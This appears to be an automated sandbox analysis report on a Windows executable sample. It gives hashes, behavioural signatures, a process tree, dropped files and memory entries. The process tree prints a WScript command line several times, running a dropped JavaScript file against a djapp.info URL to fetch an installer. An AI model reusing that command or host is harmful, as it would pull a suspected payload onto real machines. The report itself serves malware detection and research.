Analysis

  • max time kernel
    45s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    28-11-2022 05:51

General

  • Target

    ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe

  • Size

    184KB

  • MD5

    02ac4c1c82a006f1ad477e04122b6584

  • SHA1

    c344256ff5777e3883f145b232c9fda33c1f0ed3

  • SHA256

    ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875

  • SHA512

    4ddb36316e93e4004a4a9015973c25660cedcd7ebf7f04986b5e526f43655def95d287548abd134fc1d7a5d0aa843374890bd0a85f759d8325d44f1a6ddbb263

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3e:/7BSH8zUB+nGESaaRvoB7FJNndn3

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe
    "C:\Users\Admin\AppData\Local\Temp\ad15c00e16520f8ecbd54ef18789f52b5a68e7b513e09167226a5122b9273875.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1304
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2157.js" http://www.djapp.info/?domain=HZmWdxdueb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2157.exe
      2⤵
      • Blocklisted process makes network request
      PID:2032
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2157.js" http://www.djapp.info/?domain=HZmWdxdueb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2157.exe
      2⤵
      • Blocklisted process makes network request
      PID:1692
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2157.js" http://www.djapp.info/?domain=HZmWdxdueb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2157.exe
      2⤵
      • Blocklisted process makes network request
      PID:1356
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2157.js" http://www.djapp.info/?domain=HZmWdxdueb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2157.exe
      2⤵
      • Blocklisted process makes network request
      PID:1756
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2157.js" http://www.djapp.info/?domain=HZmWdxdueb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2157.exe
      2⤵
      • Blocklisted process makes network request
      PID:896
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1304 -s 608
      2⤵
      • Program crash
      PID:1668

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf2157.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\N380RBG2.txt

    Filesize

    98B

    MD5

    e5be553d17486365f82a9f2b8bb720be

    SHA1

    1a974e988cb8e42d38e80f9a2f93574229962b64

    SHA256

    33e6b313f1c32d2043757e300ef48b39a4e35278aa3449ad164ff6df3ce32b39

    SHA512

    9e56e3e57bae792819d81a02f9a70a0d534db15854394872a79851f6b76d9f36d4e76e8762eec041f258506467300f18e5bc310e3d42c01c6744a91a88aa09e2

  • memory/896-65-0x0000000000000000-mapping.dmp

  • memory/1304-54-0x00000000762E1000-0x00000000762E3000-memory.dmp

    Filesize

    8KB

  • memory/1356-61-0x0000000000000000-mapping.dmp

  • memory/1668-67-0x0000000000000000-mapping.dmp

  • memory/1692-58-0x0000000000000000-mapping.dmp

  • memory/1756-63-0x0000000000000000-mapping.dmp

  • memory/2032-55-0x0000000000000000-mapping.dmp